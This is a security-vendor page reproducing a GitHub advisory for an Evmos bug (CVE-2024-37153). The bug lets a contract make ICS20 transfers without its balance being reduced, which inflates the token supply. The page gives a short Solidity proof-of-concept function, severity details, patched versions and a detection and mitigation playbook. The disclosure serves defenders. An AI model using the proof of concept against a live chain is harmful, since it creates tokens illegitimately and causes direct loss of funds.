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GHSA-xgr7-jgq3-mhmc

HIGH

Contract balance not updating correctly after interchain transaction

Also known asCVE-2024-37153GO-2024-2903
Published
Jun 6, 2024
Updated
Jun 17, 2024
Affected
13 pkgs
Patched
13 / 13
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk45th percentile+0.13%
0.00%0.37%0.75%1.12%0.5%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

13 pkgs affected
🐹github.com/evmos/evmos/v18🐹github.com/evmos/evmos/v17🐹github.com/evmos/evmos/v16🐹github.com/evmos/evmos/v15🐹github.com/evmos/evmos/v14🐹github.com/evmos/evmos/v13🐹github.com/evmos/evmos/v12🐹github.com/evmos/evmos/v11+5 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

Details

We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile

Proof of Concept

// This function does not reduce the contract balance correctly but liquid stakes correctly 
function transfer(
        string memory sourcePort,
        string memory sourceChannel,
        string memory denom,
        uint256 amount,
        string memory receiver,
        string memory evmosReceiver
    ) external returns (uint64 nextSequence) {
        counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
        Height memory timeoutHeight =  Height(100, 100);
        string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
        return ICS20_CONTRACT.transfer(
            sourcePort, 
            sourceChannel,
            denom,
            amount,
            address(this), # this is the sender address which is the contract
            receiver,
            timeoutHeight,
            0,
            memo
        );
    }

Impact

This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.

Severity

Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.

Patches

The issue has been patched in versions >=V18.1.0.

For more information

If you have any questions or comments about this advisory:

Reach out to the Core Team in Discord Open a discussion in evmos/evmos Email us at [email protected] for security questions

Affected Packages

13 total 13 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/evmos/evmos/v18all versions18.1.0
🐹Gogithub.com/evmos/evmos/v17all versions18.1.0
🐹Gogithub.com/evmos/evmos/v16all versions18.1.0
🐹Gogithub.com/evmos/evmos/v15all versions18.1.0
🐹Gogithub.com/evmos/evmos/v14all versions18.1.0
🐹Gogithub.com/evmos/evmos/v13all versions18.1.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/evmos/evmos/v18 to 18.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgr7-jgq3-mhmc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xgr7-jgq3-mhmc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xgr7-jgq3-mhmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ ### Details We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the `sender` parameter in an ICS20 transfer using the ICS20 precompile ### Proof of Concep
O3 Security · Impact-Aware SCA

Is GHSA-xgr7-jgq3-mhmc in your dependencies?

O3 detects GHSA-xgr7-jgq3-mhmc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.